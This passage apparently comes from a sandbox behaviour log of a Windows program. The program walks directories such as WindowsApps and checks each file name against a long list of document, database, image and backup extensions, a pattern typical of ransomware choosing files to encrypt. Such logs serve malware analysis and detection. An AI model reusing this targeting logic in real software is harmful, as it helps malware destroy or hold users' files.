(lpString1=".asr", lpString2=".ini") returned -1 [0085.593] lstrlenW (lpString=".asx") returned 4 [0085.593] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1 [0085.593] lstrlenW (lpString=".avi") returned 4 [0085.593] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1 [0085.593] lstrlenW (lpString=".avs") returned 4 [0085.593] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1 [0085.593] lstrlenW (lpString=".backup") returned 7 [0085.593] lstrcmpiW (lpString1=".backup", lpString2="ing.ini") returned -1 [0085.593] lstrlenW (lpString=".bak") returned 4 [0085.594] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1 [0085.594] lstrlenW (lpString=".bay") returned 4 [0085.594] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1 [0085.594] lstrlenW (lpString=".bd") returned 3 [0085.594] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1 [0085.594] lstrlenW (lpString=".bin") returned 4 [0085.594] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1 [0085.594] lstrlenW (lpString=".bmp") returned 4 [0085.594] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1 [0085.594] lstrlenW (lpString=".bz2") returned 4 [0085.594] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0085.594] lstrlenW (lpString=".c") returned 2 [0085.594] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1 [0085.594] lstrlenW (lpString=".cdr") returned 4 [0085.594] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1 [0085.594] lstrlenW (lpString=".cer") returned 4 [0085.594] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1 [0085.594] lstrlenW (lpString=".cf") returned 3 [0085.594] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1 [0085.594] lstrlenW (lpString=".cfc") returned 4 [0085.594] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1 [0085.594] lstrlenW (lpString=".cfm") returned 4 [0085.594] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1 [0085.594] lstrlenW (lpString=".cfml") returned 5 [0085.594] lstrcmpiW (lpString1=".cfml", lpString2="g.ini") returned -1 [0085.594] lstrlenW (lpString=".cfu") returned 4 [0085.594] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1 [0085.594] lstrlenW (lpString=".chm") returned 4 [0085.594] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1 [0085.594] lstrlenW (lpString=".cin") returned 4 [0085.594] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1 [0085.594] lstrlenW (lpString=".class") returned 6 [0085.594] lstrcmpiW (lpString1=".class", lpString2="ng.ini") returned -1 [0085.594] lstrlenW (lpString=".clx") returned 4 [0085.594] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1 [0085.594] lstrlenW (lpString=".config") returned 7 [0085.595] lstrcmpiW (lpString1=".config", lpString2="ing.ini") returned -1 [0085.595] lstrlenW (lpString=".cpp") returned 4 [0085.595] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1 [0085.595] lstrlenW (lpString=".cr2") returned 4 [0085.595] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1 [0085.595] lstrlenW (lpString=".crt") returned 4 [0085.595] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1 [0085.595] lstrlenW (lpString=".crw") returned 4 [0085.595] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1 [0085.595] lstrlenW (lpString=".cs") returned 3 [0085.595] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1 [0085.595] lstrlenW (lpString=".css") returned 4 [0085.595] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1 [0085.595] lstrlenW (lpString=".csv") returned 4 [0085.595] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1 [0085.595] lstrlenW (lpString=".cub") returned 4 [0085.595] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1 [0085.595] lstrlenW (lpString=".dae") returned 4 [0085.595] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1 [0085.595] lstrlenW (lpString=".dat") returned 4 [0085.595] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1 [0085.595] lstrlenW (lpString=".db") returned 3 [0085.595] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1 [0085.595] lstrlenW (lpString=".dbf") returned 4 [0085.595] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0085.595] lstrlenW (lpString=".dbx") returned 4 [0085.595] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1 [0085.595] lstrlenW (lpString=".dc3") returned 4 [0085.595] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1 [0085.595] lstrlenW (lpString=".dcm") returned 4 [0085.595] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1 [0085.595] lstrlenW (lpString=".dcr") returned 4 [0085.595] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1 [0085.595] lstrlenW (lpString=".der") returned 4 [0085.596] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1 [0085.596] lstrlenW (lpString=".dib") returned 4 [0085.596] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1 [0085.596] lstrlenW (lpString=".dic") returned 4 [0085.596] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1 [0085.596] lstrlenW (lpString=".dif") returned 4 [0085.596] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1 [0085.596] lstrlenW (lpString=".divx") returned 5 [0085.596] lstrcmpiW (lpString1=".divx", lpString2="g.ini") returned -1 [0085.596] lstrlenW (lpString=".djvu") returned 5 [0085.596] lstrcmpiW (lpString1=".djvu", lpString2="g.ini") returned -1 [0085.596] lstrlenW (lpString=".dng") returned 4 [0085.596] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1 [0085.596] lstrlenW (lpString=".doc") returned 4 [0085.596] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0085.596] lstrlenW (lpString=".docm") returned 5 [0085.596] lstrcmpiW (lpString1=".docm", lpString2="g.ini") returned -1 [0085.596] lstrlenW (lpString=".docx") returned 5 [0085.596] lstrcmpiW (lpString1=".docx", lpString2="g.ini") returned -1 [0085.596] lstrlenW (lpString=".dot") returned 4 [0085.596] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1 [0085.596] lstrlenW (lpString=".dotm") returned 5 [0085.596] lstrcmpiW (lpString1=".dotm", lpString2="g.ini") returned -1 [0085.596] lstrlenW (lpString=".dotx") returned 5 [0085.596] lstrcmpiW (lpString1=".dotx", lpString2="g.ini") returned -1 [0085.596] lstrlenW (lpString=".dpx") returned 4 [0085.596] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1 [0085.596] lstrlenW (lpString=".dqy") returned 4 [0085.596] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1 [0085.596] lstrlenW (lpString=".dsn") returned 4 [0085.596] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1 [0085.596] lstrlenW (lpString=".dt") returned 3 [0085.596] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1 [0085.596] lstrlenW (lpString=".dtd") returned 4 [0085.596] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1 [0085.597] lstrlenW (lpString=".dwg") returned 4 [0085.597] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1 [0085.597] lstrlenW (lpString=".dwt") returned 4 [0085.597] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1 [0085.597] lstrlenW (lpString=".dx") returned 3 [0085.597] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1 [0085.597] lstrlenW (lpString=".dxf") returned 4 [0085.597] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1 [0085.597] lstrlenW (lpString=".edml") returned 5 [0085.597] lstrcmpiW (lpString1=".edml", lpString2="g.ini") returned -1 [0085.597] lstrlenW (lpString=".efd") returned 4 [0085.597] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1 [0085.597] lstrlenW (lpString=".elf") returned 4 [0085.597] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1 [0085.597] lstrlenW (lpString=".emf") returned 4 [0085.597] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1 [0085.597] lstrlenW (lpString=".emz") returned 4 [0085.597] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1 [0085.597] lstrlenW (lpString=".epf") returned 4 [0085.597] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1 [0085.597] lstrlenW (lpString=".eps") returned 4 [0085.597] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1 [0085.597] lstrlenW (lpString=".epsf") returned 5 [0085.597] lstrcmpiW (lpString1=".epsf", lpString2="g.ini") returned -1 [0085.597] lstrlenW (lpString=".epsp") returned 5 [0085.597] lstrcmpiW (lpString1=".epsp", lpString2="g.ini") returned -1 [0085.597] lstrlenW (lpString=".erf") returned 4 [0085.597] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1 [0085.597] lstrlenW (lpString=".exr") returned 4 [0085.597] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1 [0085.597] lstrlenW (lpString=".f4v") returned 4 [0085.597] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1 [0085.597] lstrlenW (lpString=".fido") returned 5 [0085.597] lstrcmpiW (lpString1=".fido", lpString2="g.ini") returned -1 [0085.597] lstrlenW (lpString=".flm") returned 4 [0085.598] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1 [0085.598] lstrlenW (lpString=".flv") returned 4 [0085.598] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1 [0085.598] lstrlenW (lpString=".frm") returned 4 [0085.598] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1 [0085.598] lstrlenW (lpString=".fxg") returned 4 [0085.598] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1 [0085.598] lstrlenW (lpString=".geo") returned 4 [0085.598] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1 [0085.598] lstrlenW (lpString=".gif") returned 4 [0085.598] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1 [0085.598] lstrlenW (lpString=".grs") returned 4 [0085.598] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1 [0085.598] lstrlenW (lpString=".gz") returned 3 [0085.601] lstrcmpiW (lpString1=".gz", lpString2="ini") returned -1 [0085.601] lstrlenW (lpString=".h") returned 2 [0085.601] lstrcmpiW (lpString1=".h", lpString2="ni") returned -1 [0085.601] lstrlenW (lpString=".hdr") returned 4 [0085.601] lstrcmpiW (lpString1=".hdr", lpString2=".ini") returned -1 [0085.601] lstrlenW (lpString=".hpp") returned 4 [0085.601] lstrcmpiW (lpString1=".hpp", lpString2=".ini") returned -1 [0085.601] lstrlenW (lpString=".hta") returned 4 [0085.601] lstrcmpiW (lpString1=".hta", lpString2=".ini") returned -1 [0085.601] lstrlenW (lpString=".htc") returned 4 [0085.601] lstrcmpiW (lpString1=".htc", lpString2=".ini") returned -1 [0085.601] lstrlenW (lpString=".htm") returned 4 [0085.602] lstrcmpiW (lpString1=".htm", lpString2=".ini") returned -1 [0085.602] lstrlenW (lpString=".html") returned 5 [0085.602] lstrcmpiW (lpString1=".html", lpString2="g.ini") returned -1 [0085.602] lstrlenW (lpString=".icb") returned 4 [0085.602] lstrcmpiW (lpString1=".icb", lpString2=".ini") returned -1 [0085.602] lstrlenW (lpString=".ics") returned 4 [0085.602] lstrcmpiW (lpString1=".ics", lpString2=".ini") returned -1 [0085.602] lstrlenW (lpString=".iff") returned 4 [0085.602] lstrcmpiW (lpString1=".iff", lpString2=".ini") returned -1 [0085.602] lstrlenW (lpString=".inc") returned 4 [0085.602] lstrcmpiW (lpString1=".inc", lpString2=".ini") returned -1 [0085.602] lstrlenW (lpString=".indd") returned 5 [0085.602] lstrcmpiW (lpString1=".indd", lpString2="g.ini") returned -1 [0085.602] lstrlenW (lpString=".ini") returned 4 [0085.602] lstrcmpiW (lpString1=".ini", lpString2=".ini") returned 0 [0085.602] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77be010a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa293090, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77be010a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSAdvertisingJS", cAlternateFileName="MSADVE~1")) returned 1 [0085.602] lstrlenW (lpString="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS") returned 95 [0085.602] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS") returned 1 [0085.602] lstrlenW (lpString="MSAdvertisingJS") returned 15 [0085.602] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="MSAdvertisingJS") returned -1 [0085.602] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x3dd3a48 [0085.602] lstrlenW (lpString="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS") returned 95 [0085.602] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\*", lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77be010a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa293090, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77be010a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x582c08 [0085.602] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77be010a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa293090, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77be010a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.602] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77be010a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x77be010a, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x77be010a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x4be9, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootstrap.js", cAlternateFileName="")) returned 1 [0085.603] lstrlenW (lpString="bootstrap.js") returned 12 [0085.603] lstrlenW (lpString=".1cd") returned 4 [0085.603] lstrcmpiW (lpString1=".1cd", lpString2="p.js") returned -1 [0085.603] lstrlenW (lpString=".3ds") returned 4 [0085.603] lstrcmpiW (lpString1=".3ds", lpString2="p.js") returned -1 [0085.603] lstrlenW (lpString=".3fr") returned 4 [0085.603] lstrcmpiW (lpString1=".3fr", lpString2="p.js") returned -1 [0085.603] lstrlenW (lpString=".3g2") returned 4 [0085.603] lstrcmpiW (lpString1=".3g2", lpString2="p.js") returned -1 [0085.603] lstrlenW (lpString=".3gp") returned 4 [0085.603] lstrcmpiW (lpString1=".3gp", lpString2="p.js") returned -1 [0085.603] lstrlenW (lpString=".7z") returned 3 [0085.603] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0085.603] lstrlenW (lpString=".accda") returned 6 [0085.603] lstrcmpiW (lpString1=".accda", lpString2="rap.js") returned -1 [0085.603] lstrlenW (lpString=".accdb") returned 6 [0085.603] lstrcmpiW (lpString1=".accdb", lpString2="rap.js") returned -1 [0085.603] lstrlenW (lpString=".accdc") returned 6 [0085.603] lstrcmpiW (lpString1=".accdc", lpString2="rap.js") returned -1 [0085.603] lstrlenW (lpString=".accde") returned 6 [0085.603] lstrcmpiW (lpString1=".accde", lpString2="rap.js") returned -1 [0085.603] lstrlenW (lpString=".accdt") returned 6 [0085.603] lstrcmpiW (lpString1=".accdt", lpString2="rap.js") returned -1 [0085.603] lstrlenW (lpString=".accdw") returned 6 [0085.603] lstrcmpiW (lpString1=".accdw", lpString2="rap.js") returned -1 [0085.603] lstrlenW (lpString=".adb") returned 4 [0085.603] lstrcmpiW (lpString1=".adb", lpString2="p.js") returned -1 [0085.603] lstrlenW (lpString=".adp") returned 4 [0085.603] lstrcmpiW (lpString1=".adp", lpString2="p.js") returned -1 [0085.603] lstrlenW (lpString=".ai") returned 3 [0085.603] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0085.603] lstrlenW (lpString=".ai3") returned 4 [0085.603] lstrcmpiW (lpString1=".ai3", lpString2="p.js") returned -1 [0085.603] lstrlenW (lpString=".ai4") returned 4 [0085.604] lstrcmpiW (lpString1=".ai4", lpString2="p.js") returned -1 [0085.604] lstrlenW (lpString=".ai5") returned 4 [0085.604] lstrcmpiW (lpString1=".ai5", lpString2="p.js") returned -1 [0085.604] lstrlenW (lpString=".ai6") returned 4 [0085.604] lstrcmpiW (lpString1=".ai6", lpString2="p.js") returned -1 [0085.604] lstrlenW (lpString=".ai7") returned 4 [0085.604] lstrcmpiW (lpString1=".ai7", lpString2="p.js") returned -1 [0085.604] lstrlenW (lpString=".ai8") returned 4 [0085.604] lstrcmpiW (lpString1=".ai8", lpString2="p.js") returned -1 [0085.604] lstrlenW (lpString=".anim") returned 5 [0085.604] lstrcmpiW (lpString1=".anim", lpString2="ap.js") returned -1 [0085.604] lstrlenW (lpString=".arw") returned 4 [0085.604] lstrcmpiW (lpString1=".arw", lpString2="p.js") returned -1 [0085.604] lstrlenW (lpString=".as") returned 3 [0085.604] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0085.604] lstrlenW (lpString=".asa") returned 4 [0085.604] lstrcmpiW (lpString1=".asa", lpString2="p.js") returned -1 [0085.604] lstrlenW (lpString=".asc") returned 4 [0085.604] lstrcmpiW (lpString1=".asc", lpString2="p.js") returned -1 [0085.604] lstrlenW (lpString=".ascx") returned 5 [0085.604] lstrcmpiW (lpString1=".ascx", lpString2="ap.js") returned -1 [0085.604] lstrlenW (lpString=".asm") returned 4 [0085.604] lstrcmpiW (lpString1=".asm", lpString2="p.js") returned -1 [0085.604] lstrlenW (lpString=".asmx") returned 5 [0085.604] lstrcmpiW (lpString1=".asmx", lpString2="ap.js") returned -1 [0085.604] lstrlenW (lpString=".asp") returned 4 [0085.604] lstrcmpiW (lpString1=".asp", lpString2="p.js") returned -1 [0085.604] lstrlenW (lpString=".aspx") returned 5 [0085.604] lstrcmpiW (lpString1=".aspx", lpString2="ap.js") returned -1 [0085.604] lstrlenW (lpString=".asr") returned 4 [0085.604] lstrcmpiW (lpString1=".asr", lpString2="p.js") returned -1 [0085.604] lstrlenW (lpString=".asx") returned 4 [0085.604] lstrcmpiW (lpString1=".asx", lpString2="p.js") returned -1 [0085.604] lstrlenW (lpString=".avi") returned 4 [0085.604] lstrcmpiW (lpString1=".avi", lpString2="p.js") returned -1 [0085.605] lstrlenW (lpString=".avs") returned 4 [0085.605] lstrcmpiW (lpString1=".avs", lpString2="p.js") returned -1 [0085.605] lstrlenW (lpString=".backup") returned 7 [0085.605] lstrcmpiW (lpString1=".backup", lpString2="trap.js") returned -1 [0085.605] lstrlenW (lpString=".bak") returned 4 [0085.605] lstrcmpiW (lpString1=".bak", lpString2="p.js") returned -1 [0085.605] lstrlenW (lpString=".bay") returned 4 [0085.605] lstrcmpiW (lpString1=".bay", lpString2="p.js") returned -1 [0085.605] lstrlenW (lpString=".bd") returned 3 [0085.605] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0085.605] lstrlenW (lpString=".bin") returned 4 [0085.605] lstrcmpiW (lpString1=".bin", lpString2="p.js") returned -1 [0085.605] lstrlenW (lpString=".bmp") returned 4 [0085.605] lstrcmpiW (lpString1=".bmp", lpString2="p.js") returned -1 [0085.605] lstrlenW (lpString=".bz2") returned 4 [0085.605] lstrcmpiW (lpString1=".bz2", lpString2="p.js") returned -1 [0085.605] lstrlenW (lpString=".c") returned 2 [0085.605] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0085.605] lstrlenW (lpString=".cdr") returned 4 [0085.605] lstrcmpiW (lpString1=".cdr", lpString2="p.js") returned -1 [0085.605] lstrlenW (lpString=".cer") returned 4 [0085.605] lstrcmpiW (lpString1=".cer", lpString2="p.js") returned -1 [0085.605] lstrlenW (lpString=".cf") returned 3 [0085.605] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0085.605] lstrlenW (lpString=".cfc") returned 4 [0085.605] lstrcmpiW (lpString1=".cfc", lpString2="p.js") returned -1 [0085.605] lstrlenW (lpString=".cfm") returned 4 [0085.605] lstrcmpiW (lpString1=".cfm", lpString2="p.js") returned -1 [0085.605] lstrlenW (lpString=".cfml") returned 5 [0085.605] lstrcmpiW (lpString1=".cfml", lpString2="ap.js") returned -1 [0085.605] lstrlenW (lpString=".cfu") returned 4 [0085.605] lstrcmpiW (lpString1=".cfu", lpString2="p.js") returned -1 [0085.605] lstrlenW (lpString=".chm") returned 4 [0085.605] lstrcmpiW (lpString1=".chm", lpString2="p.js") returned -1 [0085.606] lstrlenW (lpString=".cin") returned 4 [0085.606] lstrcmpiW (lpString1=".cin", lpString2="p.js") returned -1 [0085.606] lstrlenW (lpString=".class") returned 6 [0085.606] lstrcmpiW (lpString1=".class", lpString2="rap.js") returned -1 [0085.606] lstrlenW (lpString=".clx") returned 4 [0085.606] lstrcmpiW (lpString1=".clx", lpString2="p.js") returned -1 [0085.606] lstrlenW (lpString=".config") returned 7 [0085.606] lstrcmpiW (lpString1=".config", lpString2="trap.js") returned -1 [0085.606] lstrlenW (lpString=".cpp") returned 4 [0085.606] lstrcmpiW (lpString1=".cpp", lpString2="p.js") returned -1 [0085.606] lstrlenW (lpString=".cr2") returned 4 [0085.606] lstrcmpiW (lpString1=".cr2", lpString2="p.js") returned -1 [0085.606] lstrlenW (lpString=".crt") returned 4 [0085.606] lstrcmpiW (lpString1=".crt", lpString2="p.js") returned -1 [0085.606] lstrlenW (lpString=".crw") returned 4 [0085.606] lstrcmpiW (lpString1=".crw", lpString2="p.js") returned -1 [0085.606] lstrlenW (lpString=".cs") returned 3 [0085.606] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0085.606] lstrlenW (lpString=".css") returned 4 [0085.606] lstrcmpiW (lpString1=".css", lpString2="p.js") returned -1 [0085.606] lstrlenW (lpString=".csv") returned 4 [0085.606] lstrcmpiW (lpString1=".csv", lpString2="p.js") returned -1 [0085.606] lstrlenW (lpString=".cub") returned 4 [0085.606] lstrcmpiW (lpString1=".cub", lpString2="p.js") returned -1 [0085.606] lstrlenW (lpString=".dae") returned 4 [0085.606] lstrcmpiW (lpString1=".dae", lpString2="p.js") returned -1 [0085.606] lstrlenW (lpString=".dat") returned 4 [0085.606] lstrcmpiW (lpString1=".dat", lpString2="p.js") returned -1 [0085.606] lstrlenW (lpString=".db") returned 3 [0085.606] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0085.606] lstrlenW (lpString=".dbf") returned 4 [0085.606] lstrcmpiW (lpString1=".dbf", lpString2="p.js") returned -1 [0085.606] lstrlenW (lpString=".dbx") returned 4 [0085.606] lstrcmpiW (lpString1=".dbx", lpString2="p.js") returned -1 [0085.606] lstrlenW (lpString=".dc3") returned 4 [0085.607] lstrcmpiW (lpString1=".dc3", lpString2="p.js") returned -1 [0085.607] lstrlenW (lpString=".dcm") returned 4 [0085.607] lstrcmpiW (lpString1=".dcm", lpString2="p.js") returned -1 [0085.607] lstrlenW (lpString=".dcr") returned 4 [0085.607] lstrcmpiW (lpString1=".dcr", lpString2="p.js") returned -1 [0085.607] lstrlenW (lpString=".der") returned 4 [0085.607] lstrcmpiW (lpString1=".der", lpString2="p.js") returned -1 [0085.607] lstrlenW (lpString=".dib") returned 4 [0085.607] lstrcmpiW (lpString1=".dib", lpString2="p.js") returned -1 [0085.607] lstrlenW (lpString=".dic") returned 4 [0085.607] lstrcmpiW (lpString1=".dic", lpString2="p.js") returned -1 [0085.607] lstrlenW (lpString=".dif") returned 4 [0085.607] lstrcmpiW (lpString1=".dif", lpString2="p.js") returned -1 [0085.607] lstrlenW (lpString=".divx") returned 5 [0085.607] lstrcmpiW (lpString1=".divx", lpString2="ap.js") returned -1 [0085.607] lstrlenW (lpString=".djvu") returned 5 [0085.607] lstrcmpiW (lpString1=".djvu", lpString2="ap.js") returned -1 [0085.607] lstrlenW (lpString=".dng") returned 4 [0085.607] lstrcmpiW (lpString1=".dng", lpString2="p.js") returned -1 [0085.607] lstrlenW (lpString=".doc") returned 4 [0085.607] lstrcmpiW (lpString1=".doc", lpString2="p.js") returned -1 [0085.607] lstrlenW (lpString=".docm") returned 5 [0085.607] lstrcmpiW (lpString1=".docm", lpString2="ap.js") returned -1 [0085.607] lstrlenW (lpString=".docx") returned 5 [0085.607] lstrcmpiW (lpString1=".docx", lpString2="ap.js") returned -1 [0085.607] lstrlenW (lpString=".dot") returned 4 [0085.607] lstrcmpiW (lpString1=".dot", lpString2="p.js") returned -1 [0085.607] lstrlenW (lpString=".dotm") returned 5 [0085.607] lstrcmpiW (lpString1=".dotm", lpString2="ap.js") returned -1 [0085.607] lstrlenW (lpString=".dotx") returned 5 [0085.607] lstrcmpiW (lpString1=".dotx", lpString2="ap.js") returned -1 [0085.607] lstrlenW (lpString=".dpx") returned 4 [0085.607] lstrcmpiW (lpString1=".dpx", lpString2="p.js") returned -1 [0085.607] lstrlenW (lpString=".dqy") returned 4 [0085.607] lstrcmpiW (lpString1=".dqy", lpString2="p.js") returned -1 [0085.608] lstrlenW (lpString=".dsn") returned 4 [0085.608] lstrcmpiW (lpString1=".dsn", lpString2="p.js") returned -1 [0085.608] lstrlenW (lpString=".dt") returned 3 [0085.608] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0085.608] lstrlenW (lpString=".dtd") returned 4 [0085.608] lstrcmpiW (lpString1=".dtd", lpString2="p.js") returned -1 [0085.608] lstrlenW (lpString=".dwg") returned 4 [0085.608] lstrcmpiW (lpString1=".dwg", lpString2="p.js") returned -1 [0085.608] lstrlenW (lpString=".dwt") returned 4 [0085.608] lstrcmpiW (lpString1=".dwt", lpString2="p.js") returned -1 [0085.608] lstrlenW (lpString=".dx") returned 3 [0085.608] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0085.608] lstrlenW (lpString=".dxf") returned 4 [0085.608] lstrcmpiW (lpString1=".dxf", lpString2="p.js") returned -1 [0085.608] lstrlenW (lpString=".edml") returned 5 [0085.608] lstrcmpiW (lpString1=".edml", lpString2="ap.js") returned -1 [0085.608] lstrlenW (lpString=".efd") returned 4 [0085.608] lstrcmpiW (lpString1=".efd", lpString2="p.js") returned -1 [0085.608] lstrlenW (lpString=".elf") returned 4 [0085.608] lstrcmpiW (lpString1=".elf", lpString2="p.js") returned -1 [0085.608] lstrlenW (lpString=".emf") returned 4 [0085.608] lstrcmpiW (lpString1=".emf", lpString2="p.js") returned -1 [0085.608] lstrlenW (lpString=".emz") returned 4 [0085.608] lstrcmpiW (lpString1=".emz", lpString2="p.js") returned -1 [0085.608] lstrlenW (lpString=".epf") returned 4 [0085.608] lstrcmpiW (lpString1=".epf", lpString2="p.js") returned -1 [0085.608] lstrlenW (lpString=".eps") returned 4 [0085.608] lstrcmpiW (lpString1=".eps", lpString2="p.js") returned -1 [0085.608] lstrlenW (lpString=".epsf") returned 5 [0085.608] lstrcmpiW (lpString1=".epsf", lpString2="ap.js") returned -1 [0085.608] lstrlenW (lpString=".epsp") returned 5 [0085.608] lstrcmpiW (lpString1=".epsp", lpString2="ap.js") returned -1 [0085.608] lstrlenW (lpString=".erf") returned 4 [0085.608] lstrcmpiW (lpString1=".erf", lpString2="p.js") returned -1 [0085.609] lstrlenW (lpString=".exr") returned 4 [0085.609] lstrcmpiW (lpString1=".exr", lpString2="p.js") returned -1 [0085.609] lstrlenW (lpString=".f4v") returned 4 [0085.609] lstrcmpiW (lpString1=".f4v", lpString2="p.js") returned -1 [0085.609] lstrlenW (lpString=".fido") returned 5 [0085.609] lstrcmpiW (lpString1=".fido", lpString2="ap.js") returned -1 [0085.609] lstrlenW (lpString=".flm") returned 4 [0085.609] lstrcmpiW (lpString1=".flm", lpString2="p.js") returned -1 [0085.609] lstrlenW (lpString=".flv") returned 4 [0085.609] lstrcmpiW (lpString1=".flv", lpString2="p.js") returned -1 [0085.609] lstrlenW (lpString=".frm") returned 4 [0085.609] lstrcmpiW (lpString1=".frm", lpString2="p.js") returned 